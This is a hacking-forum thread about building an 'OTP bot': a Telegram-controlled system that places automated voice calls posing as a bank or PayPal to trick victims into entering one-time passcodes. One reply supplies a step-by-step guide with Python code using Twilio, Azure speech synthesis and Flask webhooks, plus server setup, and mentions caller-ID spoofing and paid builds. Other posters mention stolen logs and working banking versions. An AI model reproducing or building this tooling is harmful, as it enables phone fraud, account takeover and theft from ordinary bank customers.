

Forum:[Hack Forums](#)

Thread: [OTP Bot Caller](#)

ozne - March 26, 2024, 11:49 am

I'm searching some people that know about coding or something to create tpghrter a caller OTP bot, if we can crepte it we can spoof paypal otp and buy wathever (i got the logs)....?

OpteronAMD - April 7, 2024, 2:38 am

its simple using python in telegrambot (dont have any experience with discord bots)

first select your calling api and watch out if they have sdk wrapper for python or else check the whole api documentation:

second select voice encoding api (google,azure,ibm - more natural voices in azure) ps. with this example you can create an otpbot with dynamic records

select your telegram bot api (for simplicity i pick pytelegrambotapi)

ill explain here by using twilio api (not best for calls but the most common one):

first create an account on twilio and grab some package/credit there(you should have to pay for this one and its the most expensive nevertheless with 30 usd you can make almost 600 calls with a maxlenght of 1 min), create an azure account and set up cognitive services(you can get demo with 200 usd no need to purchase nothing), get a cheap vps (around 5-7 usd is enough to run this bot)

then open vscode and create a virtual enviroment

once its done install dependencies (pytelegrambotapi,azure,twilio,flask) by executing this in console

Code pip install telebot twilio azure-cognitiveservices-speech flask

then create a file named voice.py

then put:

Code import azure.cognitiveservices.speech as speechsdk

```
def voicefile(text,outputname):
```

```
    speech_config = speechsdk.SpeechConfig(subscription=speech_key, region=service_region)
```

```
    file_config = speechsdk.audio.AudioOutputConfig(filename=f"./audios/{outputname}.wav")
```

```
    speech_synthesizer = speechsdk.SpeechSynthesizer(speech_config=speech_config,
```

```
    audio_config=file_config)
```

```
    result = speech_synthesizer.speak_text_async(text).get()
```

```
    if result.reason == speechsdk.ResultReason.SynthesizingAudioCompleted:
```

```
        return outputname
```

```
    elif result.reason == speechsdk.ResultReason.Canceled:
```

```
        cancellation_details = result.cancellation_details
```

```
        if cancellation_details.reason == speechsdk.CancellationReason.Error:
```

```
            return cancellation_details.error_details
```

next we will need 2 webhooks. In order to do this you will need to get a domain and a ssl(any free domain can work as far as you are able to add A records to the dns) why 2 webhooks? in order to notify the client as soon as the client type a digit we will be using webhook mode for telegram bot,

and the other one to control "call steps" to achieve the otp to do this you can use any http server you know in python (flask, aiohttp, sanic, fastapi it doesnt matter which as far as you know how to receive json) once again for simplicity ill use flask:

you will also need to create a folder named audios

```
Code import flask
from flask import send_file
import telebot
bot = telebot.TeleBot("TELEGRAMBOTOKEN")
app = flask.Flask(__name__)
from twilio.rest import Client
account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)
```

```
#####webhook to receive telegram updates telegram#####
@app.route("/telehook/", methods=['POST'])
def webhook(): #now telegram part
    if flask.request.headers.get('content-type') == 'application/json':
        json_string = flask.request.get_data().decode('utf-8')
        update = telebot.types.Update.de_json(json_string)
        bot.process_new_updates([update])
        return ""
    else:
        flask.abort(403)
```

#lets assume you will always use at least 4-5 static records and a dynamic one why? because the audios that need to be played while gathering the otp and the options will be always the same i.e: first record is "hello mr/mrs this is boa bank. we are trying to steal your cash in order to complete this we will need for you to receive the code and dial it now (this dynamic record should be created with voicefile(text,outputname)

""ex: voicefile("""hello mr/mrs this is boa bank. we are trying to steal your cash in order to complete this we will need for you to receive the code and dial it now","welcome")""

""so in this case you can use a really simple example on the pytelegrambotapi documentation named next_step_handler""

```
# Handle '/start' and '/help'
```

```
@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message,"This is a dynamic voice telegram otp bot in order to start working with it
lets first set records you will be using ")# after this you must set next step
    bot.register_next_step_handler(msg, record)
```

```
def record(message):
    text = message.text
    audio = voicefile(text,"welcome")
    bot.send_file(message.chat.id, open("/download/welcome.wav","rb"))
    bot.send_message(message.chat.id, "the result of the encoded voice is this if you are agree
proceed with next taks else press start again to restart")
    bot.register_next_step_handler(msg, phonetodial)
```

```
def record(message):
    text = message.text
    #you start your call here
    call = client.calls.create(to="", from_="", url="yourdomain.wav")
    #then after this just handle the events with the other webhook
```

#####webhook to route your call##### we need to set up this webhook in twilio in order to get callbacks from the current call and manipulate it as soon as a new event is reached according to documentation you will need to identify the current event more info visit [\[url=https://www.twilio.com/docs/voice/twiml/number#attributes-status-callback-event\]](https://www.twilio.com/docs/voice/twiml/number#attributes-status-callback-event)twilio callbacks[/url]

""""for the sake of not having copy/pasters with 1337 bots i wont post how to handle the call never the less the twilio callbacks should be enough for you to understand how to handle it you just need to remember that [b]call[/b] will become your MAIN call example if you receive """"

```
@app.route('/voicehook/', methods=['POST'])
def index(request):
    if request.is_json == True:
        data = request.json
        callback = data['callback']
        if callback == "Answered":
            return call.play(your first encoded audio remember the name you put here should match
the one you used on voicefilefuncion) #its pseudo code as i wont read the whole documentation of
an api i dont use then you keep controlling the call
```

```
return "
```

#####static route to serve voice files#####

#this is another endpoint that works to serve wav files in order for flask api to get them from an url without the needing of uploading elsewhere or a different server

```
@app.route('/download/')
def downloadFile ():
```

```
#For windows you need to use drive name [ex: F:/Example.pdf]
path = "/Examples.pdf"
return send_file(path, as_attachment=True)
```

app.run(host="0.0.0.0", port=1555), debug=True)
then you need to install either apache or nginx in your server ... then set up a reverse proxy in your host.conf file you should put proxypass 127.0.0.1:1555 (since it will proxy to another port REMEMBER THAT FLASK PORT SHOULD BE 0000 ELSE IT WONT SERVER TO THE OUTSIDE)
assign a domain to this connection "myotpbot.com"

use certbot in order to get an ssl for that endpoint(why? because telegram requires that webhook endpoint should have ssl or else it wont work)

finally get your token from botfather and switch updates method
you should have got a token lets say its this one

5728201948:AAHMmuMV4xxxxxxxxxxxxxxxxxxxxxxxxxxxx

you just need to grab your token and go to this website

<https://api.telegram.org/bot{TOKEN}/setWebhook?url=https://myotpbot.com>

or you can also do a nasty hack on your telegram bot wich would be

```
Code def setwebhook(token,url):
    r =
requests.get(f'https://api.telegram.org/bot{TOKEN}/setWebhook?url=https://myotpbot.com').json()['ok']
    return r
and call if like this before the app.run line
```

```
mywh = setwebhook(TOKEN,URL)
if mywh == True:
    app.run(host="0.0.0.0", port=1555), debug=True)
```

this way you ensure you will always refresh your webhook before flask server starts hopefully is detailed enough for you to developpe your own bot else i would be pleased to make it for you (not for free and using HF escrow services) also there are cleaner methods in order to do this ... to minimize bot output you can use edit_message you can use database if you want to add customers, you can also use database in order to set "pre-configurations" you can make it async, if you are fast enough to type i can make realtime interaction (ie: customer says "go to hell" you type "i just need some money" the bot synthesize the audio and uses it for next step -- its really hard to achieve or else the record will sound as you are retarded--) there is a chance to spoof caller id so your victim gets called from the official bank number or so on for more info write me a pm

P.S. i know my english is not that clear, im not english native speaker i apologize for that but at least tried to help :)

PSS sorry for double post but it said i was limited to 8000 characters

Bashonrunn - *April 7, 2024, 12:04 pm*

still need this and i can modify this new codes with an upgrade

EvilDeadOfficial - *March 2, 2025, 6:17 pm*

I got one For banking Works. work with twilio Api

SIM-5630113 - *March 14, 2025, 2:47 pm*

Great post above. Very helpful guide i can't quick love the post but is great